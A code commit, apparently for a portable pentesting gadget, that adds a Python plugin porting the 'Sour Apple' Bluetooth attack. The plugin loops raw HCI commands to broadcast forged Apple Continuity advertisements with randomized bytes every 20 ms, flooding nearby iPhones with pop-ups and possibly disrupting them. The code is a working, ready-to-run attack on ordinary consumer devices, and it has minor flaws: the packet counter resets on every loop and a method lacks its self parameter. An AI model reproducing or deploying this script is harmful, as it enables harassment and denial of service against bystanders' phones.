ble sour apple script

plugins/BLE/ble.py

@@ -1,2 +1,92 @@
-# yo deadass bluez sucks and my pi dies installing any bluetooth library
-# someone work on this pelase
+# Source: https://github.com/RapierXbox/ESP32-Sour-Apple
+# Licensed under GPL 3.0, we should be able to use this right? 
+# ESP32(Python) Sour Apple by @RapierXbox and @Amachik
+
+from core.plugin import BasePwnhyvePlugin
+from core.SH1106.screen import screenConsole, waitForKey
+import random
+import bluetooth._bluetooth as bluez
+from time import sleep
+import struct
+import socket
+import array
+import fcntl
+from errno import EALREADY
+
+class PWNble(BasePwnhyvePlugin):
+    def loading(self):
+        for _ in range(3):
+            print("Starting iPhone BLE", end="", flush=True)
+            sleep(0.5)
+            print(".", end="", flush=True)
+            sleep(0.5)
+            print(".", end="", flush=True)
+            sleep(0.5)
+            print(".", end="", flush=True)
+            sleep(0.5)
+            print("\b\b\b   \b\b\b", end="", flush=True)
+
+    def iphoneBLE(draw, disp, image, GPIO):
+        screen = screenConsole(draw, disp, image)
+
+        try:
+            screen.start()
+            waitForKey(GPIO)
+
+            # set up bluetooth interface
+            hci_sock = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI)
+            req_str = struct.pack("H", 0)
+            request = array.array("b", req_str)
+            try:
+                fcntl.ioctl(hci_sock.fileno(), bluez.HCIDEVUP, request[0])
+            except IOError as e:
+                if e.errno == EALREADY:
+                    pass
+                else:
+                    raise
+            finally:
+                hci_sock.close()
+
+            try:
+                sock = bluez.hci_open_dev(0)
+            except Exception as e:
+                print(f"Unable to connect to Bluetooth hardware 0: {e}")
+                return
+            try:
+                while True:
+                    # number of packets sent
+                    num_of_packets = 0
+
+                    if disp.checkIfKey():
+                        break 
+                    else:
+                        # construct packet
+                        types = [0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0]
+                        bt_packet = (16, 0xFF, 0x4C, 0x00, 0x0F, 0x05, 0xC1, types[random.randint(0, len(types) - 1)],
+                            random.randint(0, 255), random.randint(0, 255), random.randint(0, 255), 0x00, 0x00, 0x10,
+                            random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
+                        struct_params = [20, 20, 3, 0, 0, 0, 0, 0, 0, 0, 0, 7, 0]
+                        cmd_pkt = struct.pack("<HHBBB6BBB", *struct_params)
+                        bluez.hci_send_cmd(sock, 0x08, 0x0006, cmd_pkt)
+                        cmd_pkt = struct.pack("<B", 0x01)
+                        bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
+                        cmd_pkt = struct.pack("<B%dB" % len(bt_packet), len(bt_packet), *bt_packet)
+                        bluez.hci_send_cmd(sock, 0x08, 0x0008, cmd_pkt)
+
+                        # send packet
+                        sleep(0.02)
+                        cmd_pkt = struct.pack("<B", 0x00)
+                        bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
+
+                        # increment by one for each send
+                        num_of_packets += 1
+                        print(f"Sending Packet #{num_of_packets}")
+            except KeyboardInterrupt:
+                cmd_pkt = struct.pack("<B", 0x00)
+                bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
+            except Exception as e:
+                print(f"An error occurred: {e}")
+                cmd_pkt = struct.pack("<B", 0x00)
+                bluez.hci_send_cmd(sock, 0x08, 0x000A, cmd_pkt)
+        finally:
+            print("iPhone BLE finished!")

requirements.txt

@@ -6,4 +6,5 @@ numpy
 scapy
 smbus
 spidev
-pytoml
+pytoml
+pybluez